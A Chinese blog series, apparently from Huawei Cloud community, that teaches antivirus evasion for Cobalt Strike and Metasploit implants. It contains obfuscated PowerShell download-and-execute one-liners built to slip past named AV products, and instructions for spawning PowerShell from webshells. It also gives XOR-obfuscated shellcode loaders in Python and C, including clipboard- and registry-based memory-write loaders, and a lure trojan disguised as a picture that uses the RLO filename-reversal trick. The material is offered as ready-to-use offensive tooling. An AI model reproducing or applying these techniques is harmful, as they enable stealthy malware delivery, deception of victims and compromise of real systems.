'http://192.168.1.1/payload.bin'改为'ht'+'tp://192.16'+'8.1.1/pay'+'load.bin'
反正能改的都改改,测试一下最终ps脚本,能上线,然后查杀一下该脚本
使用的话将脚本上传目标主机,或者放在服务器上加载即可
powershell -nop -w hidden -c "IEX(new-object net.webclient).downloadstring('C:\test.ps1')"
powershell -nop -w hidden -c "IEX(new-object net.webclient).downloadstring('http:
最终样本在公众号回复: ps免杀样本
11.CS免杀-PowerShell加载命令免杀PS上线命令
结合上文的加载器《CS免杀-PowerShell上线》,有大佬说加载的一句话过不了360等的行为查杀
powershell -nop -w 1 -c "IEX(new-object net.webclient).downloadstring('http://192.168.1.1/test.ps1')"
现在针对这一句话进行免杀,绕过AV的行为限制
加载web脚本
绕过静态查杀,编码未必是做有效的方法,所以出现了脚本放在网站上远程加载
PS需要两个函数Invoke-Expression和Invoke-WebRequest
Invoke-WebRequest
缩写IWR,用来访问网页的内容,默认使用IE引擎
-UseBasicParsing参数不分析结果,只是返回内容
IWR -UseBasicParsing http://192.168.1.1/123.txt
Invoke-Expression
缩写IEX,该函数执行传递给他的代码
powershell -com IEX(New-Object Net.WebClient).DownloadString('http:192.168.1.1/123.txt')
powershell -com IEX(iwr -UseBasicParsing http://192.168.10.1/123.txt)
内网可以用通用命名约定UNC
powershell -com IEX(iwr -UseBasicParsing \\192.168.10.1\C\1.ps1)
绕过策略限制
本地执行一个ps脚本, 由于默认策略的缘故,通常会报禁用脚本运行
powershell ./test.ps1
1.更改脚本权限
powershell -command Get-ExecutionPolicy
restricted:只能运行系统的ps命令
ALLSigned:带有可信发布者签名的脚步都可以运行
RemoteSigned:带有可发布者签名的一已下载脚本可运行
Unrestricted:不受限制
powershell -com Set-ExecutionPolicy Unrestricted
2.本地权限绕过
PowerShell -ExecutionPolicy Bypass -File xxx.ps1
本地隐藏权限绕过
PowerShell -ExecutionPolicy Bypass -NoP -W Hidden -File 123.ps1
-noprofile简写 -nop, 为不加载 windows poweshell 配置文件
-WindowStyle hidden简写 -w 1,窗口为隐藏模式(powershell执行该命令后直接隐藏命令行窗口)
3.IEX远程加载
powershell IEX(New-Object Net.WebClient).DownloadString('http://192.168.10.1/123.txt)
powershell IEX(iwr -UseBasicParsing http://192.168.10.1/123.txt)
powershell IEX(New-Object Net.WebClient).DownloadString('c:\132.txt')
4.标准输入读取命令
powershell的-com命令有个参数-
所以可以通过管道符输入命令
echo Invoke-Expression(new-object net.webclient).downloadstring('http://xxx.xxx.xxx/a') | powershell -
type 123.txt | powershell -
1.win10环境变量截取出powershell
%psmodulepath:~24,10%
2.新建函数别名
IEX或IWR等函数是可以重命名的
set-alias -name hhh -value IEX
powershell set-alias -name hhh -value IEX;hhh(New-Object Net.WebClient).DownloadString('http://192.168.1.1/123.txt')
3.拆分成变量
powershell "$b='((new-object
net.webclient).downlo)';$a='(adstring(http://192.168.1.1/payload.ps1))';IEX ($b+$a)"
字符串以单引号分割
'ht'+'tP://19’+'2.168.1.1'+'2/payload.ps1'
4.使用反引号处理字符
PowerShell团队使用反引号作为转义字符 (就离谱)
`' 单引号 `" 双引号
`0 空值 `a 警报
`b 退格 `f 换页
`n 新行 `r 回车
`t 水平制表 `v 垂直制表
powershell中双引号内字符可以进行转义,当反引号后面不是上面几个字符则不转义
上面截图感受一下,然后就对downloadstring等几个字符处理一下
"Down`l`oadString"
"down`load`data"
"web`client"
看我一套军体拳
360、火绒、win10自带都没拦截,卡巴没测试
echo set-alias -name hhh -value IEX;hhh(New-Object "NeT.WebC`li`ent")."Down`l`oadStr`ing"('ht'+'tP://19’+'2.168.1.1'+'2/payload.ps1') | %psmodulepath:~24,10% -
成功执行,不拦截行为
12.webshell下起PS进程
WebShell下起PowerShell进程
一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一
再不久的几天前写了几个绕过360、火绒等杀软的PS上线CS的文章啊。
《CS免杀-PowerShell上线》
《CS免杀-PowerShell加载命令免杀》
但是发现360、火绒等这几个小天才啊,拦截了在webshell下起powershell进程
真的是烦啊
一一一一一
今天只测试了360全家桶、火绒就自测吧。
win10环境,用哥斯拉生成的webshell执行powershell命令。
360全家桶拦截webshell,发现主要是对powershell这个字符串拦截,那就尝试字符串拼接。
set aa=powers&& set bb=hell && cmd /c "echo iex(New-Object Net.WebClient).DownloadString('http://192.168.10.1/123.txt') | %aa%%bb% -"
测试可行之后,再改改进一步免杀
set aa=powers&& set bb=hell && cmd /c "echo set-alias -name test -value IEX;test(New-Object NeT."W`ebC`li`ent")."D`own`l`oadStr`ing"('h'+'ttP://19’+'2.168.10.'+'1/123.txt') | %aa%%bb% -"
13.XG_ms_Shellcode_loader
XG ms Shellcode_loader
前一阵写的py免杀框架放出来了
将shellcode进行xor加密后,再base64编码,使用内存加载器加载上线C2
目前搭载三种申请内存方式和六种写入内存方式
temper_list:["RMM_loader1/2/3","REG_loader1/2/3","MAC_loader1/2/3","UUID_loader1/2/3","ipv4_temper1/2/3","ipv6_temper1/2/3"]
python==2.7pip install pyinstaller==3.0
cs生成64位payload.bin文件,选择一个加载器模板,运行后在loader_result文件夹生成相应加载器源文件和exe文件(生成exe需要安装pyinstaller)
./msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -f raw -o payload.bin
usege : python2 XG_MS_LOADER.py [shellcode] [loader_temper]
usage : python2 XG_MS_LOADER.py payload.bin UUID_loader1
usage : python2 XG_MS_LOADER.py 123.bin RMM_loader3
2021/7/26,效果还可以,就是exe文件在4M左右
公众号对应文章:
https://mp.weixin.qq.com/s/_uMFatf4_yfGit-Xu7Ml9A
https://mp.weixin.qq.com/s/-WcEW1aznO2IuCezkCe9HQ
https://mp.weixin.qq.com/s/CSi7iQCg25AIfmqWNAYrhQ
https://mp.weixin.qq.com/s/TdRAiRuts0rSNOKqZxzzmw
https://mp.weixin.qq.com/s/qSs4avStVOIUaAF6Krb-wA
https://mp.weixin.qq.com/s/ZbRG7SGZxCucpQI7cmeDbg
公众号回复:py免杀框架
14.花里胡哨免杀之《剪切板加载器》
最近研究内存加载器魔怔了,我们知道所有内存加载器原理都一个样:申请可执行内存->shellcode写入内存->执行该内存
申请内存还是比较好说的,去win开发手册搜搜就能找到很多申请内存的api,然后使用VirtualProtect将申请的内存区块设置为可执行即可
执行内存里面的内容也好说,使用CreateThread创建一个进程是常用的,或者使用EnumSystemLocalesA等回调函数直接运行也是可以的,这种回调函数在开发手册也随处可见
困难的是怎么把shellcode写入内存当中,在之前写入内存都是用RtlMoveMemory、RtlCopyMemory等函数,后来爆出一种UUID方式写入内存,我自己又延伸了MAC、IPV4、IPV6方式写入内存、再然后我发现读取注册表REG可以将内容写入内存。真是越走越远,越走越花里胡哨。。。
什么是剪切板:剪切板是一组功能和使应用程序来传输的数据消息。由于所有应用程序都可以访问剪贴板,因此可以轻松地在应用程序之间或应用程序内传输数据。
剪切板格式:我们复制粘贴操作的对象有很多种,比如文字,图片,程序等等。每种类型的对象对应不同的剪切板格式,但这些格式都是已经定义好的,每个格式对应不同的标识值。
注册剪切板格式:顾名思义我们可以注册一个新的剪切板格式来存放我们的数据
剪切板加载器
没错,我又发现了一种写入内存的方式
昨天等项目的时候,无聊又去逛了逛win开发手册,看到了我们经常用的剪切板的各类api函数
我就随便逛了逛,哎?发现一个函数GetClipboardFormatName
能写入东西到缓冲区?这不来了吗
RegisterClipboardFormat
该函数是user32.dll库中的函数,用来注册新的剪贴板格式。然后可以将此格式用作有效的剪贴板格式
函数原型:
https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-registerclipboardformatw
UINT RegisterClipboardFormatW(
LPCSTR lpszFormat
lpszFormat参数是新格式的名称
注册成功则返回一个该格式对应的标识值
nameid = ctypes.windll.user32.RegisterClipboardFormatW('test')
GetClipboardFormatName
该函数是user32.dll库中的函数,可以从剪贴板中检索指定注册格式的名称,并将名称复制到指定的缓冲区。
函数原型:
https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getclipboardformatnamew
int GetClipboardFormatNameW( UINT format, LPWSTR lpszFormatName, int cchMaxCount);
这个函数是大致功能我们可以看到啊,检索我们指定格式的剪切板,将它的名称写入缓存区
ctypes.windll.user32.GetClipboardFormatNameW(name,ptr,len)
上面两个api函数一个是创建剪切板,一个是读取剪切板的名
我们如果用shellcode命名该剪切板,当我们读取该名称时不就可以将shellcode写入缓存区了?
首先生成shellcode,这里生成要注意排除\x00字符,防止被截断。
msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -b="\x00" -f py -o 123.py
然后申请一块内存
ptr = ctypes.windll.kernel32.VirtualAlloc(0, len(buf)+1, 0x3000, 0x40)
使用shellcode当做名称,注册一个新的剪切板格式,这里shellcode一定排除\x00字符,不然名称会被截断。(测试发现名称长度不能大于500字节)
name = ctypes.windll.user32.RegisterClipboardFormatW(buf)
获取该剪切板格式的名称,并写入申请的内存
ctypes.windll.user32.GetClipboardFormatNameW(name,ptr,len(buf)+1)
然后创建进行运行即可
handle = ctypes.windll.kernel32.CreateThread(0,0,ptr,0,0,0)ctypes.windll.kernel32.WaitForSingleObject(handle,-1)
使用py版本2.7,msf生成64位弹计算器payload
源码公众号回复:剪切板加载器
15.免杀-偏移量混淆shellcode偏移量
前几天听了公司大佬的免杀分析啊,很牛逼
其中有一种混淆shellcode的方式比较有趣,就是使用偏移量来混淆,今就偷摸来分享分享大佬思路
大佬是用的C++,在win找一个所有版本都存在的文件,读取该文件二进制,
,在这之前先生成一个列表,这个列表帮助我们使用偏移量来遍历该文件,从而找出所有的字符构造出shellcode
我的思路比较简单,直接自己生成个随机字符,该字符包含0-f即可
string = '0123456789abcdef'
str_list = list(string)
random.shuffle(str_list)
string2 = ''.join(str_list)
然后遍历shellcode,找到在随机字符的位置,生成一个列表即可
a = open(sys.argv[1],'rb')
b = a.read().encode('hex')
list = []
for i in b:
b = string2.find(i)
list.append(b)
公众号回复:偏移量混淆
使用脚本,打开shellcode.bin文件,混淆后生成Offset_shellcode.py文件。
然后直接套加载器用就行了
16.C/C++免杀遇到的杂乱知识
总结几个最近研究C/C++免杀入门时遇到的几点属性配置问题
看网上很多C/C++的源码都会在源码开头看到类似的代码
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#pragma comment(linker, "/INCREMENTAL:NO")
#pragma comment(linker, "/section:.data,RWE")
这是干嘛的?
#pragma是预处理指令之一,它的作用是设定编译器的状态或者是指示编译器完成一些特定的动作。
comment是#pragma下的一个子命令,使用注释方式引入库或编译目录。
然后括号里面就是对应的属性和属性的值。
其实这些代码和VS编辑该项目属性的配置是对应的,我们右键打开属性
看到的这些属性值和上面所展示的代码效果是一样的,都是修改该编译器的一些状态。
#pragma comment(linker, "/INCREMENTAL:NO")
VC++中如果设置不是增量链接,每次我们修改了c/c++文件后,会重新生成obj文件 (Microsoft推出的程序编译中间代码文件)。
然而在增量链接后, obj文件会对每个函数预留一部分空间, 编译链接时, 只是修改你修改过的函数对应的代码, 其它二进制代码保持不变。
设置控制台和入口函数
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
设置这俩是干嘛的?不弹出DOS框。
我们在win开发的时候,我们一般不是开发控制台应用就是桌面应用,一般是在创建项目时候就选择好了。当然可以在上面的属性里面修改,通常可以指定四种方式:“CONSOLE|WINDOWS|NATIVE|POSIX”
如果开发的控制台应用console,我们运行是就会弹出一个黑色的框。
开发的是桌面应用windows,则不会弹控制台,而是需要我们自己写一个桌面显示出来。
开发不一样的程序,需要的入口函数不一样,控制台我们常用main函数当入口函数,桌面则是WinMain当入口函数。
而我们在属性->连接器设置的入口函数是 mainCRTStartup或WinMainCRTStartup 。
通常控制台程序运行会先调用mainCRTStartup 再调用你自己编写的 main 函数。
桌面程序则是调用 WinMainCRTStartup,再调用你自己写的 WinMain 函数。
详情可看看这个:https://www.cnblogs.com/mlgjb/p/8573838.html
这样我们运行程序时将以桌面方式运行,不弹出控制台,但入口函数使用main进行运行。
.data段可读可
#pragma comment(linker, "/section:.data,RWE")
.data段是啥需要去了解一下PE结构,这是一个PE文件的数据段,存放一下我们定义的变量。
下面是一段很基础的加载器
#include
#include
#pragma comment(linker, "/section:.data,RWE")
unsigned char buf[] = "\xfc\xe8\x89\x00....";
int main()
__asm
lea eax, buf;
jmp eax;
return 0;
unsignedchar buf[] = "\xfc\xe8\x89\x00....";
这是我们的shellcode,我们定义这个变量,在编译完成之后会将数据存放到.data(数据段)
__asm
lea eax, buf;
jmp eax;
使用lea汇编指令获得buf的地址
使用jmp汇编指令,无条件跳转到指定的段,然后继续运行程序。
由于数据段受系统保护,是不允许被执行的,所以我们需要提前修改该段属性为RWE(可读可写可执行),否则程序运行错误。
变量通常放在数据段,但我们写成下面格式,会放在.text代码段,导出shellcode时候需要用到
char buf={'\x00','\x00',....}
为啥生成这种格式?
在C中定义字符串使用char buf[]="\x00\x00..."格式,会将shellcode存放在数据段,buf只是个指针,我们导出shellcode是代码段,所以该数据不会跟着导出。使用char buf={'\x00','\x00',....}格式会存放在代码段,会随我们导出shellcode一起导出。
17.免杀-C加载器免杀尝试
C语言免杀
之前一直研究的python加载器免杀,但由于py生成的exe文件大小不合适,开始学习C语言尝试C的免杀。
效果如上。
开个玩笑,C&C++的免杀效果确实越来越不行了,大佬们被逼无奈只好选择一些其他语言(C#、python、GO、nim)来做免杀马子。我呢比较菜,还是从C慢慢学吧。。。
一步步测试
最近是在跟着小甲鱼学win程序开发,开发的是弹窗口输出hello word。
学到一半想看看现在的源码会不会报毒
首先选择生成32位的exe,发现VT有5个,就纳闷我就是弹出个hello word你VT‘就吓破胆了。
然后选择生成64位exe,VT测试结果发现还行,只提示一个了
在资源文件处添加了一个图标,发现不报毒了。
效果莫名其妙的好,就开始尝试在该源码基础上写加载器。
加载器就那四步,shellcode、申请内存、写入内存、执行shellcode,挨步测试免杀
这是msf生成的弹计算器的shellcode,进行了简单的异或混淆
然后生成exe测试效果。发现没有查杀,简单混淆还是挺好用的。
然后在源码基础上找个空插入内存申请函数
申请内存使用的CoTaskMenAlloc,然后使用VirtualProtect改为可执行内存
LPVOID men = CoTaskMemAlloc(sizeof sh3llc0de);DWORD lpflOldProtect = 0;VirtualProtect(men, sizeof sh3llc0de, 0x40, &lpflOldProtect);
然后生成exe测试效果。发现申请内存操作没有查杀。如果查杀的话就换其他申请内存函数。
继续在源码上添加写入内存操作,我使用的之前的《剪切板加载器》方式
使用RegisterClipboardFormatW函数注册个剪切板,名字是shellcode。
使用GetClipboardFormatNameW函数将剪切板名字(shellcode)写入内存。
UINT name = RegisterClipboardFormatW(sh3llc0de);GetClipboardFormatNameW(name, (LPWSTR) men, sizeof sh3llc0de);
然后生成exe测试效果。发现写入内存操作没有查杀。如果查杀的话就换其他写入内存的方式。
继续老套路使用CreateThread创建进程的方式运行shellcode。
HANDLE handle = CreateThread(0, 0, men, 0, 0, 0);WaitForSingleObject(handle, -1);
生成exe测试效果。运行shellcode操作也没有查杀,完美。
使用msf生成的64位弹计算器payload,(剪切板加载器注意清除\x00字符)
这里的shellcode混淆我使用脚本进行简单异或混淆。
然后将混淆的shellcode直接上文的shellcode位置的源码。
生成exe运行正常,测试VT全过。
源码公众号回复:C加载器免杀尝试
18.图片马-lsp诱捕器图片马
在研究免杀过程中,多多少少看到一些图片马文章,可能免杀效果一般,但是也挺有趣的。
他们图片马的大体思路就是,准备一个凉快的照片和一个可执行的exe马子,使用压缩包的方式将两个文件压缩,然后设定点击自动解压,释放图片和木马,并同时运行图片和木马。视觉上就感觉打开了一个图片,但是这种方式免杀前提就是exe马子要免杀,而且解压会释放文件。
图片马-我的思路
既然图片马的效果是显示一个照片,同时运行恶意文件。使用代码写在一起不就行了。
(c/c++刚入门啊,代码写的可能比较烂,但达到目的就行啦)
怎么打开图片
首先准备一个lsp可能点开的照片
想使用c++实现打开图片功能很多种,可以使用运行命令打开相册一样打开图片。
但是,这个方式需要我们连照片一起上传,既然我们要生成图片马,只能看到这一个文件,不能再上传一个图片上去吧。所以只能把我们准备好的照片放进项目的资源文件,然后调用该资源文件进行图片输出。
我上网搜了很多种调用资源文件进行打印图片的方法
有一个是自己写一个win窗口,将图片当做窗口背景。但是代码挺多的,win开发我还没学会。
另一种就行利用EasyX,它是一个用于 C++ 的图形库,可以很方便的输出一个图片。
使用这个库需要下载安装一下
https://easyx.cn/
然后使用手册在这
https://docs.easyx.cn/en-us/intro
我在网上找了个使用该库打印图片的源码
#include<graphics.h> //需要调用该头文件,安装EasyX才能用
#include<conio.h>
#include<iostream>
using namespace std;
int main() {
IMAGE img; //创建一个img对象
loadimage(&img, L"IMAGE", MAKEINTRESOURCE(IDR_IMAGE1)); //加载资源文件里的图片
int w, h;
w = img.getwidth();
h = img.getheight();
initgraph(w, h); //初始化一个窗口
putimage(0, 0, &img); //输出图片
getchar(); //获取一个字符,这里截断一下流程,防止输出完图片就关闭了。
closegraph();
return 1;
然后将照片放入资源文件,注意找的图片最好分辨率低一点,不然文件太大。
还有一个坑就是一定使用jpg格式的文件,导入时候作为一个自定义格式的“IMAGE”资源
导入之后就生产了对应的资源文件的头文件resource.h
源代码包含它,并使用 MAKEINTRESOURCE()函数转换资源文件的id。
loadimage(&img, L"IMAGE", MAKEINTRESOURCE(IDR_IMAGE1));
然后运行测试一下图片输出效果。
有那感觉了。
写木马就简单了,直接把之前研究的内存加载器代码复制过去就行了。
这个加载器只是简单弹个计算器,具体的shellcode加密、写内存方式都在上文有《免杀-C加载器免杀尝试》。
int main()
unsigned char sh3llc0de[] = "\x1c\x65\x24...";
unsigned char key[] = "\x09\xab";
unsigned char aa[] = "\x32\xff";
DWORD dw_size = sizeof sh3llc0de;
int i;
for (i = 0; i < dw_size; i++) {
sh3llc0de[i] ^= key[1];
sh3llc0de[i] = aa[1] - sh3llc0de[i];
LPVOID men = CoTaskMemAlloc(sizeof sh3llc0de);
DWORD lpflOldProtect = 0;
UINT name = RegisterClipboardFormatW((LPCWSTR)sh3llc0de);
VirtualProtect(men, sizeof sh3llc0de, 0x40, &lpflOldProtect);
GetClipboardFormatNameW(name, (LPWSTR)men, sizeof sh3llc0de);
HANDLE handle = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)men, 0, 0, 0);
WaitForSingleObject(handle, -1);
image();
return 0;
image()这里是将图片输出功能写成了一个函数,直接调用。
void image() {
IMAGE img;
loadimage(&img, L"IMAGE", MAKEINTRESOURCE(IDR_IMAGE1));
int w, h;
w = img.getwidth();
h = img.getheight();
initgraph(w, h);
putimage(0, 0, &img);
getchar();
closegraph();
然后我生成的x64的文件,免杀效果好点。
然后生成运行一下,测试效果咋样。
进一步伪装
网上找一个照片的ico文件
然后添加到资源文件中,生成的exe就更像一个图片了。
然后继续操作老掉牙的unicode反转字符。
将文件命名为filgpj.moc.exe,然后在fil后面插入unicode反转字符RLO
具体反转字符怎么用去百度,RLO是将强字符从右向左读取
得到的文件,更像一个jpg图片了,还是带xxx网站链接的xxxx。
但是我们反转字符的字符不能太长。看看下面效果,太长就暴露了
具体怎么反转看你们思路了
最后运行一下,看看效果。
虽然不是很完美啊,但效果达到了,打开照片,同时运行了我们的shellcode加载器。可以看到啊有一个黑框闪过,有空再改改吧黑框去除。
如果换那些CS的shellcode,加载器最好改成个进程迁移操作的,因为我们关闭照片,程序也就结束了,这里挖个坑,有空来补上。
免杀效果看看就好,反正是玩。源码回复:lsp
19.分离免杀-剪贴板加载器
剪贴板分离免杀
之前发过一个使用剪贴板API函数写的免杀加载器《花里胡哨免杀之剪切板加载器》,但今天这个有点不同,是用来做分离免杀的。
正常分离免杀就是将shellcode放在远程服务器、或存在本地txt、图片等文件里。这种分离还是有特征的,访问某个ip、加载读取某个文件等。
而今天的分离思路是将shellcode写进被攻击者服务器剪贴板里,通过api函数读取剪贴板内容写入内存中。
1、首先是怎么将shellcode写进剪贴板
在cmd命令行下通过clip命令可以操作剪切板,可以使用echo将shellcode写入剪切板
echo fc4883e4f0e8c00000.... | clip
剪切板能存的内容格式很多,可以是文本、图片、文件等等
这里我将shellcode转为了16进制的文本形式(就是bin文件打开然后替换空格和回车)
2、加载器实现读取剪贴板的shellcode
使用GetClipboardData函数查找CF_TEXT格式剪贴板的数据,获取数据所在的内存地址
BOOL Cb = OpenClipboard(NULL);
HANDLE hMem = GetClipboardData(CF_TEXT);
char* shellcode1 = (char*)GlobalLock(hMem);
//cout << shellcode1 << endl;
3、此时获取的数据是16进制字符串形式
fc4883e4f0e8c00000....
百度找了个源码可以实现将字符串转换成真正的shellcode
int HexDecode(char *hex, unsigned char *shellcode,int offset_list_len)
unsigned char* pResult = shellcode+(offset_list_len/2);
bool odd_digit = 1;
for (int i = offset_list_len-1; i >= 0; i--)
unsigned char ch = hex[i];
int tmp = FromHex(ch);
if (tmp == -1) {
continue;
if (odd_digit) {
--pResult;
*pResult = tmp;
odd_digit = 0;
else {
*pResult |= tmp << 4;
odd_digit = 1;
return 123;
4、就正常写内存加载器就行了,哪种免杀效果好用哪种
下面源码使用的注册表加载器,具体原理找之前文章
《CS免杀-RegQueryValueExA加载器》
LSTATUS rsv = RegSetValueEx(HKEY_CURRENT_USER, L"test1", 0, REG_BINARY, (const unsigned char*)shellcode, len_shellcode);
DWORD cbData;
RegQueryValueEx(HKEY_CURRENT_USER, L"test1", NULL, NULL, NULL, &cbData);
LSTATUS rqv = RegQueryValueEx(HKEY_CURRENT_USER, L"test1", NULL, NULL, (LPBYTE)ptr, &cbData);
RegDeleteValue(HKEY_CURRENT_USER, L"test1");
生成exe后测试免杀效果,效果好就能一直使用了。
我个人测试64位比32位免杀效果好。
1、将加载器上传到被攻击服务器
2、使用webshell在命令行下将shellcode写进剪切板
echo fc4883e4f0e8c00000.... | clip
这里注意shellcode格式
3、运行加载器即可
start c:\users\admin\Clipboard.exe
具体操作可看视频
优点是加载器本身不存在shellcode,加载器生成之后可以无限使用,它的功能主要取决于shellcode。
并且没有访问ip,读取文件的行为,就算放进沙箱检测,沙箱内的剪切板也访问不到shellcode。
缺点就是这个思路只能用于webshell上线cs或msf,不能用于钓鱼上线。
现成 EXE:星球自提
源码回复:剪贴板分离免杀
【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱:
[email protected]